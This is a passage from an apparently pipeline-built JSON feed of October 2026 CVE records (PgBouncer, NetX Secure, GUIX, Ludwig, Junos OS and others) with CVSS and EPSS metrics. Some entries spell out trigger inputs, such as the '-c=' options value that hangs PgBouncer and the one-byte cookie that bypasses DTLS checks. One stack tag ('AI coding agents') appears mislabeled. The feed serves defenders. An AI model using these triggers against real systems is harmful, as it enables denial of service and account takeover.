score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108395&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108395, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107350","cveId":"CVE-2026-107350","aliases":[],"kind":"vulnerability","title":"Improper authentication in PgBouncer 1.17.0 through 1.26.0 allows a remote attacker who knows the password of a user listed in auth_file to log in as any other user that...","summary":"Improper authentication in PgBouncer 1.17.0 through 1.26.0 allows a remote attacker who knows the password of a user listed in auth_file to log in as any other user that authenticates using SCRAM, including PgBouncer admin users and backend superusers. A second StartupMessage sent during SCRAM authentication against a non-existent database is not rejected and switches the user being logged in as, while the SCRAM exchange is still verified against the keys of the first user.","detail":"Improper authentication in PgBouncer 1.17.0 through 1.26.0 allows a remote attacker who knows the password of a user listed in auth_file to log in as any other user that authenticates using SCRAM, including PgBouncer admin users and backend superusers. A second StartupMessage sent during SCRAM authentication against a non-existent database is not rejected and switches the user being logged in as, while the SCRAM exchange is still verified against the keys of the first user.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:25.670Z","updatedAt":"2026-10-16T15:17:04.897Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107350","asOf":"2026-10-16T15:17:04.897Z"},"epss":{"probability":0.00369,"percentile":0.30449,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107350&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107350","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107350","type":"primary","publishedAt":"2026-10-14T18:17:25.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107350&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107350, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107349","cveId":"CVE-2026-107349","aliases":[],"kind":"vulnerability","title":"An infinite loop in PgBouncer 1.20.0 through 1.26.0 allows an unauthenticated remote attacker to cause a denial of service.","summary":"An infinite loop in PgBouncer 1.20.0 through 1.26.0 allows an unauthenticated remote attacker to cause a denial of service. A StartupMessage whose options parameter contains an empty parameter name, such as \"-c=\", makes the ignore_startup_parameters list lookup loop forever. Because PgBouncer serves all clients from a single process, this saturates a CPU core and makes PgBouncer unresponsive to all clients until the process is restarted.","detail":"An infinite loop in PgBouncer 1.20.0 through 1.26.0 allows an unauthenticated remote attacker to cause a denial of service. A StartupMessage whose options parameter contains an empty parameter name, such as \"-c=\", makes the ignore_startup_parameters list lookup loop forever. Because PgBouncer serves all clients from a single process, this saturates a CPU core and makes PgBouncer unresponsive to all clients until the process is restarted.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:25.557Z","updatedAt":"2026-10-16T21:17:18.340Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107349","asOf":"2026-10-16T21:17:18.340Z"},"epss":{"probability":0.00404,"percentile":0.34368,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107349&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107349","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107349","type":"primary","publishedAt":"2026-10-14T18:17:25.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107349&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107349, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106465","cveId":"CVE-2026-106465","aliases":[],"kind":"vulnerability","title":"The NetX Secure DTLS server sends a HelloVerifyRequest carrying a freshly generated cookie, but never checks the cookie a client returns.","summary":"The NetX Secure DTLS server sends a HelloVerifyRequest carrying a freshly generated cookie, but never checks the cookie a client returns. The ClientHello parser copies the client's cookie bytes over the value the server issued, and the server then decides whether the client has been verified from the cookie's length alone. A peer that puts any single cookie byte in its first ClientHello skips the verification exchange entirely, so the server has no return-routability check and completes handshakes for forged source addresses.","detail":"The NetX Secure DTLS server sends a HelloVerifyRequest carrying a freshly generated cookie, but never checks the cookie a client returns. The ClientHello parser copies the client's cookie bytes over the value the server issued, and the server then decides whether the client has been verified from the cookie's length alone. A peer that puts any single cookie byte in its first ClientHello skips the verification exchange entirely, so the server has no return-routability check and completes handshakes for forged source addresses.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:25.093Z","updatedAt":"2026-10-16T21:17:18.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106465","asOf":"2026-10-16T21:17:18.130Z"},"epss":{"probability":0.00307,"percentile":0.23252,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106465&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106465","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106465","type":"primary","publishedAt":"2026-10-14T18:17:25.093Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106465&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106465, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106464","cveId":"CVE-2026-106464","aliases":[],"kind":"vulnerability","title":"`_nx_secure_x509_parse_signature_data` computes the certificate signature's length as `tlv_length - 1` without first checking that `tlv_length` is non-zero.","summary":"`_nx_secure_x509_parse_signature_data` computes the certificate signature's length as `tlv_length - 1` without first checking that `tlv_length` is non-zero. A certificate whose signature is an empty ASN.1 BIT STRING therefore parses successfully and leaves the certificate holding a signature length of `0xFFFFFFFF` and a signature pointer one byte past the end of the buffer. Certificates are parsed from the peer during the TLS handshake, so the input is remote and unauthenticated.","detail":"`_nx_secure_x509_parse_signature_data` computes the certificate signature's length as `tlv_length - 1` without first checking that `tlv_length` is non-zero. A certificate whose signature is an empty ASN.1 BIT STRING therefore parses successfully and leaves the certificate holding a signature length of `0xFFFFFFFF` and a signature pointer one byte past the end of the buffer. Certificates are parsed from the peer during the TLS handshake, so the input is remote and unauthenticated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:24.960Z","updatedAt":"2026-10-16T21:17:18.010Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106464","asOf":"2026-10-16T21:17:18.010Z"},"epss":{"probability":0.00173,"percentile":0.067,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106464&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106464","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106464","type":"primary","publishedAt":"2026-10-14T18:17:24.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106464&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106464, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105066","cveId":"CVE-2026-105066","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SimplyRETS SimplyRETS Real Estate IDX simply-rets allows Reflected XSS.This...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SimplyRETS SimplyRETS Real Estate IDX simply-rets allows Reflected XSS.This issue affects SimplyRETS Real Estate IDX: from n/a through 3.2.9.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SimplyRETS SimplyRETS Real Estate IDX simply-rets allows Reflected XSS.This issue affects SimplyRETS Real Estate IDX: from n/a through 3.2.9.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:22.907Z","updatedAt":"2026-10-15T14:45:38.353Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105066","asOf":"2026-10-15T14:45:38.353Z"},"epss":{"probability":0.00244,"percentile":0.15442,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105066&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105066","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105066","type":"primary","publishedAt":"2026-10-14T18:17:22.907Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105066&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105066, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104103","cveId":"CVE-2026-104103","aliases":[],"kind":"vulnerability","title":"Ludwig is a low-code framework for building custom LLMs, neural networks, and other AI models.","summary":"Ludwig is a low-code framework for building custom LLMs, neural networks, and other AI models. Prior to 0.17.8, ludwig.datasets.archives.extract_archive() validated tar member names before calling TarFile.extractall() but did not validate symlink members or hard-link members. A crafted archive could create a link that escaped the extraction directory and then write a later member through that link, placing attacker-controlled content at an arbitrary filesystem path with the extracting process's privileges. The same containment check used os.path.commonprefix, so a sibling path sharing the destination's character prefix could also pass. The dataset-loading path can download and extract configured archive URLs, but exploitation requires a user to process an archive from a source controlled or compromised by the attacker on supported Python 3.12 and 3.13 runtimes. Python 3.14 is not affected because its default tar data filter rejects escaping links. This issue is fixed in version 0.17.8.","detail":"Ludwig is a low-code framework for building custom LLMs, neural networks, and other AI models. Prior to 0.17.8, ludwig.datasets.archives.extract_archive() validated tar member names before calling TarFile.extractall() but did not validate symlink members or hard-link members. A crafted archive could create a link that escaped the extraction directory and then write a later member through that link, placing attacker-controlled content at an arbitrary filesystem path with the extracting process's privileges. The same containment check used os.path.commonprefix, so a sibling path sharing the destination's character prefix could also pass. The dataset-loading path can download and extract configured archive URLs, but exploitation requires a user to process an archive from a source controlled or compromised by the attacker on supported Python 3.12 and 3.13 runtimes. Python 3.14 is not affected because its default tar data filter rejects escaping links. This issue is fixed in version 0.17.8.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:21.540Z","updatedAt":"2026-10-16T20:02:37.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104103","asOf":"2026-10-16T20:02:37.630Z"},"epss":{"probability":0.00492,"percentile":0.42014,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104103&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104103","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104103","type":"primary","publishedAt":"2026-10-14T18:17:21.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104103&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104103, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103414","cveId":"CVE-2026-103414","aliases":[],"kind":"vulnerability","title":"The GUIX binary resource (theme) loader sizes its arena and populates it in two separate passes that traverse the resource file with independent cursor arithmetic.","summary":"The GUIX binary resource (theme) loader sizes its arena and populates it in two separate passes that traverse the resource file with independent cursor arithmetic. Because `gx_page_header_data_size` is never validated against the glyph data a page actually contains, the two passes can read different page headers for the same font page, derive different glyph counts, and reserve less than the load pass writes. The excess is written past the end of the arena, with content taken verbatim from the file.\n\n\n\nThe overflowed buffer is allocated by GUIX itself, through `_gx_system_memory_allocator`, rather than supplied by the caller. The public API `gx_binres_theme_load()` takes no size parameter, so no amount of caller diligence prevents this.\n\n\n\nReproduces in the shipped default configuration; `GX_BINARY_RESOURCE_SUPPORT` is enabled by default.","detail":"The GUIX binary resource (theme) loader sizes its arena and populates it in two separate passes that traverse the resource file with independent cursor arithmetic. Because `gx_page_header_data_size` is never validated against the glyph data a page actually contains, the two passes can read different page headers for the same font page, derive different glyph counts, and reserve less than the load pass writes. The excess is written past the end of the arena, with content taken verbatim from the file.\n\n\n\nThe overflowed buffer is allocated by GUIX itself, through `_gx_system_memory_allocator`, rather than supplied by the caller. The public API `gx_binres_theme_load()` takes no size parameter, so no amount of caller diligence prevents this.\n\n\n\nReproduces in the shipped default configuration; `GX_BINARY_RESOURCE_SUPPORT` is enabled by default.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:19.637Z","updatedAt":"2026-10-16T21:17:13.240Z","regions":["Global"],"vendor":null,"product":null,"stacks":["AI coding agents"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103414","asOf":"2026-10-16T21:17:13.240Z"},"epss":{"probability":0.0016,"percentile":0.05102,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103414&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103414","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103414","type":"primary","publishedAt":"2026-10-14T18:17:19.637Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103414&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103414, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103081","cveId":"CVE-2026-103081","aliases":[],"kind":"vulnerability","title":"Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Salevo woo-boost-sales allows Code Injection.This issue affects Salevo: from n/a through...","summary":"Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Salevo woo-boost-sales allows Code Injection.This issue affects Salevo: from n/a through 1.3.0.","detail":"Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Salevo woo-boost-sales allows Code Injection.This issue affects Salevo: from n/a through 1.3.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:19.103Z","updatedAt":"2026-10-15T17:17:10.377Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103081","asOf":"2026-10-15T17:17:10.377Z"},"epss":{"probability":0.00307,"percentile":0.23267,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103081&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103081","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103081","type":"primary","publishedAt":"2026-10-14T18:17:19.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103081&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103081, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102077","cveId":"CVE-2026-102077","aliases":[],"kind":"vulnerability","title":"An Improper Check for Unusual or Exceptional Conditions vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on MX Series with SPC3 allows an...","summary":"An Improper Check for Unusual or Exceptional Conditions vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on MX Series with SPC3 allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).\n\n\n\nOn MX Series with SPC3 line-card and source NAT configuration, when a specific malformed IPv6 packet is received, it is not dropped but instead a session is created and NAT resources are allocated. Continued receipt of such packets will eventually lead to session or resource exhaustion, which will impact all traffic through the device. To recover the device needs to be rebooted.\nTo monitor session usage, use the following:\n\nshow services sessions summary\n\nTo monitor source NAT resource usage, use the following: \n\nshow services nat pool\n\nThis issue affects Junos OS on MX Series with SPC3:\n\n  *  All versions before 23.2R2-S4;\n  *  23.4 versions before 23.4R2-S5;\n  *  24.2 versions before 24.2R2.","detail":"An Improper Check for Unusual or Exceptional Conditions vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on MX Series with SPC3 allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).\n\n\n\nOn MX Series with SPC3 line-card and source NAT configuration, when a specific malformed IPv6 packet is received, it is not dropped but instead a session is created and NAT resources are allocated. Continued receipt of such packets will eventually lead to session or resource exhaustion, which will impact all traffic through the device. To recover the device needs to be rebooted.\nTo monitor session usage, use the following:\n\nshow services sessions summary\n\nTo monitor source NAT resource usage, use the following: \n\nshow services nat pool\n\nThis issue affects Junos OS on MX Series with SPC3:\n\n  *  All versions before 23.2R2-S4;\n  *  23.4 versions before 23.4R2-S5;\n  *  24.2 versions before 24.2R2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:13.460Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102077","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00339,"percentile":0.27057,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102077&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102077","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102077","type":"primary","publishedAt":"2026-10-14T18:17:13.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102077&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102077, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101981","cveId":"CVE-2026-101981","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent LDP peer to...","summary":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent LDP peer to cause an rpd crash or execute arbitrary code via a malformed LDP Label Mapping message.","detail":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent LDP peer to cause an rpd crash or execute arbitrary code via a malformed LDP Label Mapping message.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:12.963Z","updatedAt":"2026-10-16T15:16:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper 